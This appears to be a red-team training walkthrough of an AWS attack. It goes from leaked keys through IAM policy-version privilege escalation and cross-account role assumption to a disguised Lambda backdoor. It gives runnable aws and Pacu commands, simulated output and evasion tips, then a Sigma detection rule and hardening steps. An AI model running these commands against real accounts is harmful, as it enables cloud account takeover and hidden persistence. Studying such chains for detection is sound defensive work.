Walkthroughs Hub/

Cloud & Container Red Teaming

AWS / K8S / AZURE3 PLAYBOOKS
K8S CONTAINER ESCAPE
ENTRA ID PASS-THE-PRT

Cloud & ContainersT1078.004 - Cloud Accounts & IAM AbuseAWS Red Team: Multi-Account IAM Privilege Escalation & Lambda Persistence

AdvancedCloud Security/OS: Cloud/+85 PTS/Duration: 2 hrs 00 mins

1. Mission Brief & Target Topology

EXECUTIVE ADVERSARIAL SUMMARY

Compromise of an enterprise AWS infrastructure starting with exposed access keys in public repository. Utilizing Pacu to identify iam:CreatePolicyVersion escalation vectors, forging administrator policy versions, creating rogue Lambda persistence backdoors, and assuming cross-account trust roles.

OFFICIAL ARSENAL EXPLOIT SCRIPT
Bhanu Guragain (@Bh4nu) · Public GitHub Repository
View Arsenal Repo
TARGET ENVIRONMENT SPECIFICATION
TARGET HOST / SCOPEAWS Account ID: 123456789012 (Enterprise Production & Security Audit Accounts)
SYSTEM ARCHITECTUREAWS Multi-Account Architecture (Organizations, IAM, S3, Lambda, Secrets Manager)
INITIAL ACCESS VECTORLeaked IAM access keys with iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion permissions
PRIVILEGE ESCALATIONCreating v2 IAM policy with {"Action": "*", "Effect": "Allow", "Resource": "*"}
Exposed Network Services:
AWS IAM APIAWS STSAWS LambdaAWS Secrets Manager
EXERCISED OPERATOR SKILLS:
AWS IAM Privilege EscalationPacu FrameworkCross-Account AssumeRoleLambda Backdoor Persistence

2. Operational Kill Chain Phases (3 Phases)

STEP 01Verifying Leaked IAM Credential Scope

Objective:Query AWS STS and enumerate permissions assigned to the compromised developer IAM identity.
COMMAND
aws sts get-caller-identity
python3 pacu.py --session aws_audit --exec "run iam__enum_permissions"
Captured Telemetry Evidence:
EVIDENCE STEP 01
[+] User: arn:aws:iam::123456789012:user/dev-audit. Policies Attached: [AuditPolicy (5 versions max)].
OPSEC & EVASION INSIGHT:Use standard Pacu stealth delays to avoid triggering CloudWatch rate anomaly alarms.

STEP 02Creating Administrator Policy Version & Setting as Default

Objective:Abuse iam:CreatePolicyVersion to insert an unrestricted administrator policy document.
COMMAND
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/AuditPolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-default
Captured Telemetry Evidence:
EVIDENCE STEP 02
[+] Policy version v2 set as default. Current user now holds full AdministratorAccess.
OPSEC & EVASION INSIGHT:Delete older unused policy versions (v1) to maintain the 5-version policy limit.

STEP 03Assuming Cross-Account Role into Core Production Account

Objective:Assume ProductionAdminRole in account 987654321098 and deploy an event-driven Lambda backdoor.
COMMAND
aws sts assume-role --role-arn arn:aws:iam::987654321098:role/ProductionAdminRole --role-session-name "SecOpsAuditSession"
aws lambda create-function --function-name "SystemHealthReporter" --runtime "python3.11" --role "arn:aws:iam::987654321098:role/LambdaBasicExec" --handler "lambda_function.lambda_handler" --zip-file fileb://backdoor.zip
Captured Telemetry Evidence:
EVIDENCE STEP 03
[✓] Cross-Account Access Key minted. EventBridge scheduled backdoor active. Complete AWS Organization Compromised.
OPSEC & EVASION INSIGHT:Role session name mimics standard internal enterprise audit tools.

3. Telemetry, Forensics & Shell Evidence

NETWORK & HOST TELEMETRY FOOTPRINT
AWS CloudTrail Event: CreatePolicyVersion with Action: *

4. Blue Team Detection & Defense Playbook

PRODUCTION SIGMA DETECTION RULE
title: AWS IAM CreatePolicyVersion With Admin Privileges
status: production
logsource:
  product: aws
  service: cloudtrail
detection:
  selection:
    eventName: "CreatePolicyVersion"
    requestParameters|contains: '"Action": "*'
  condition: selection
DEFENSIVE REMEDIATION & HARDENING
  • Apply AWS Service Control Policies (SCPs) to deny iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion.
  • Deploy AWS GuardDuty to alert on anomalous sts:AssumeRole behavior from non-standard IP ranges.
Lead Operator: Bhanu Guragain (@Bh4nu)
Related Academy TrackLaunch Range